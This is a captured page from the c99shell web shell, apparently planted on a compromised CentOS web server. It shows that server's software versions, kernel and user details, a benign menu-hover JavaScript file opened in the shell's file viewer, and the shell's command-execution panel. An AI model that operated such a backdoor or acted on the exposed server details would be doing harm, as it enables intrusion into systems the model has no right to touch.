Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) Safe-mode: OFF (not secure) /var/www/html/css/ drwxr-xr-x |
Viewing file: Select action/file-type: function DOMgetElementsByClassName($node,$className){ /* Description: retorna um array com todos os elementos dentro de $node que possuam a classe indicada em $className Versão: 1.0 - 30/08/2006 Author: Micox - Náiron J.C.G - micoxjcg@yahoo.com.br Site: http://elmicox.blogspot.com Não retire estas informações pra não infringir direitos autorais! */ var $node, $atual, $className, $retorno = new Array(), $novos = new Array(); $retorno = new Array(); for (var $i=0;$i<$node.childNodes.length;$i++){ $atual = $node.childNodes[$i]; if($atual.nodeType==1){// 1 = XML_ELEMENT_NODE $classeAtual = $atual.className; if(new RegExp("\\b"+$className+"\\b").test($classeAtual)){ $retorno[$retorno.length] = $atual; } if($atual.childNodes.length>0){ $novos = DOMgetElementsByClassName($atual,$className); if($novos.length>0){ $retorno = $retorno.concat($novos); } } } } return $retorno; } function addEvent(obj, evType, fn){ //adiciona evento, versao crossbrowser //retirado de http://elcio.com.br/crossbrowser/#7 if (obj.addEventListener){ obj.addEventListener(evType, fn, true)} if (obj.attachEvent){ obj.attachEvent("on"+evType, fn)} } function ativaHover(classe) { //ativa o hover para elementos n?o links, por causa de bug do IE //retirado de http://www.maujor.com/tutorial/ddownmenu-a.php var pais = DOMgetElementsByClassName(document.body,classe); for (var j=0; j<pais.length; j++) { var sfEls = pais[j].getElementsByTagName("LI"); for (var i=0; i<sfEls.length; i++) { sfEls[i].onmouseover=function() { this.className+=" over"; } sfEls[i].onmouseout=function() { this.className=this.className.replace(new RegExp(" over\\b"), ""); } } } } addEvent(window,"load",function () { ativaHover("menu-hh"); }); |
:: Command execute :: | |
--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0032 ]-- |